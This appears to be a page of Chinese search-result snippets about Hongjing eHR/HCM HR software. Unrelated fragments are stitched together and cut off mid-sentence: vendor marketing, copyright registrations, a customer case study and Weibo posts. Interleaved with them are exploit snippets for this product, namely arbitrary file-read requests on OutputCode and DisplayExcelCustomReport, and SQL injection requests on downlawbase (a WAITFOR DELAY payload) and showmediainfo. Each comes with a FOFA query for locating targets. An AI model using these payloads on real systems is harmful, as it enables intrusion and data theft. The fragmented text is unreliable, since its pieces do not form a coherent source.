宏景软件经过20多年的深耕打磨,将现代管理理念、先进技术与企事业单位人力资源管理相结合,先后推出宏景e-HR、宏景HCM、宏景云等系列产品,产品功能强大、稳定性好,全面支持国产化,是国内人力与人才管理软件中备受用户青睐的数智化软件产品。 作为中国人力与人才管理数智化的专业厂商,宏景人以专业的视角,开放的态度,不断...
宏景eHR是一种企业人力资源管理系统,该漏洞存在于'OutputCode'模块中,该模块未能正确验证用户输入的文件路径参数'path'。由于缺乏充分的输入校验和路径处理,攻击者可以通过构造恶意的'path'参数,读取服务器上的任意文件 fofa app="HJSOFT-HCM" POC GET /servlet/OutputCode?path=MrEzLLE8pPjFvPfyPAATTP2HJFPAATTPTwq...
16 changes: 16 additions & 0 deletions 16 宏景eHR-HCM-DisplayExcelCustomReport接口存在任意文件读取漏洞.md Original file line numberDiff line numberDiff line change @@ -0,0 +1,16 @@ ## 宏景eHR-HCM-DisplayExcelCustomReport接口存在任意文件读取漏洞 ## fofa ``` app="HJSOFT-HCM" ``` ## ...
52022-06-20宏景世纪HCM医院人力资源手机移动管理软件-2022SR0792242V8.0 1 2 3 4 5 6 7 > 该软件著作权人信息 贵阳宏景 贵阳宏景世纪软件有限公司 成立日期:2012-09-20 法定代表人:熊道敏 统一社会信用代码:9152010205334814XG 天眼查著作权查询频道,数据来源于贵阳宏景世纪软件有限公司合法公开的著作权数据,仅供...
著作权人 贵阳宏景世纪软件有限公司 首次发表日期 2019-09-20 登记日期 2020-05-14 该公司其他软件著作权 序号登记日期软件全称软件简称登记号版本号 1 2024-09-30 宏景世纪HCM绩效管理系统 - 2024SR1463155 V8.3 2 2024-09-06 宏景世纪工作成效考核系统 - 2024SR1327028 V3.0 3 2022-07-15 宏景世纪HCM人力...
宏景eHR-OutputCode存在任意文件读取漏洞 fofa poc宏景eHR-OutputCode存在任意文件读取漏洞 fofa app="HJSOFT-HCM" poc GET /servlet/OutputCode?path=MrEzLLE8pPjFvPfyPAATTP2HJFPAATTPTwqF7eJiXGeHU4B HTTP/1.1 Host: User-Agent: Mozilla/5.0 (X11; CrOS i686 3912.101.0) AppleWebKit/537.36 (KHTML, like...
如何检测宏景eHR downlawbase是否存在SQL注入漏洞? 1、fofa语句 代码语言:yaml 复制 app="HJSOFT-HCM" 2、数据包 代码语言:yaml 复制 GET /templates/attestation/../../selfservice/lawbase/downlawbase?id=1';WAITFOR+DELAY+'0:0:5'--+ HTTP/1.1 Host: XXXXXXXXX User-Agent: Mozilla/5.0 (Windows NT...
23 changes: 23 additions & 0 deletions 23 宏景eHR人力资源管理软件showmediainfo存在SQL注入漏洞.md Original file line numberDiff line numberDiff line change @@ -0,0 +1,23 @@ ## 宏景eHR人力资源管理软件showmediainfo存在SQL注入漏洞 ## fofa ``` app="HJSOFT-HCM" ``` ## poc ``` GET /wo...
行走在线上的人才管理和发展平台 客户名称:人民邮电出版社 所属行业:文化传媒 人员规模:800+ 使用产品:宏景HCM+宏景云 单位简介 人民邮电出版社成立于1953年10月,是集图书、期刊、音像电子及数字出版于一体的综合性出版大社。全社现有员工800余人,是一支素质高、能力强、业务精、善创新的团队。 一、出版行业是...
发布了头条文章:《图说宏景HCM:人事异动》 °图说宏景HCM:人事异动 宏景世纪软件 图说宏景HCM:人事异动 û收藏 转发 评论 ñ赞 c +关注 宏景世纪软件 2024-6-5 09:27 来自微博weibo.com 发布了头条文章:《宏景成功举办“数智时代下的高校人才引进与评估”闭门交流会》 °...